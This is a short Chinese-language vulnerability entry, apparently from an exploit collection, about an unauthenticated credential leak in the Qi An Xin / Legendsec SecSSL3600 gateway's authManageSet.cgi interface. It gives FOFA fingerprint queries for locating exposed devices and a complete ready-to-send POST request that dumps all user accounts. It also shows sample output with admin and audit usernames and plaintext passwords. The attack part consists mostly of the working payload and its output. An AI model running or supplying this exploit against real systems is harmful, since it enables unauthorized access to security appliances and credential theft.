# Q1-2奇安信-网神SecSSL3600-PermissionAC

## 漏洞描述：

网神的authManageSet.cgi接口泄露账号密码，直接构造特定的数据包可直接发现账号密码。

## 影响版本：

**网站图片：**



## 网络测绘：

**fofa语法：**

fofa语法：
body="sec_gate_image/login_02.gif"
fid="ldb0WVBlAgZloMw9AAge0A=="

## 漏洞复现：

payload：

```
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc
```

效果图:

This XML file does not appear to have any style information associated with it. The document tree is shown below.


```
<rows>
  <records>2</records>
  <row id="1">
    <cell>1</cell>
    <cell>管理员</cell>
    <cell>admin</cell>
    <cell>lfujian65043fwhs</cell>
    <cell>0.0.0.0</cell>
    <cell>0.0.0.0</cell>
    <cell>允许</cell>
    <cell>任意接口</cell>
  </row>
  <row id="2">
    <cell>2</cell>
    <cell>审计员</cell>
    <cell>audit</cell>
    <cell>audit@1234</cell>
    <cell>0.0.0.0</cell>
    <cell>0.0.0.0</cell>
    <cell>允许</cell>
    <cell>任意接口</cell>
  </row>
</rows>
```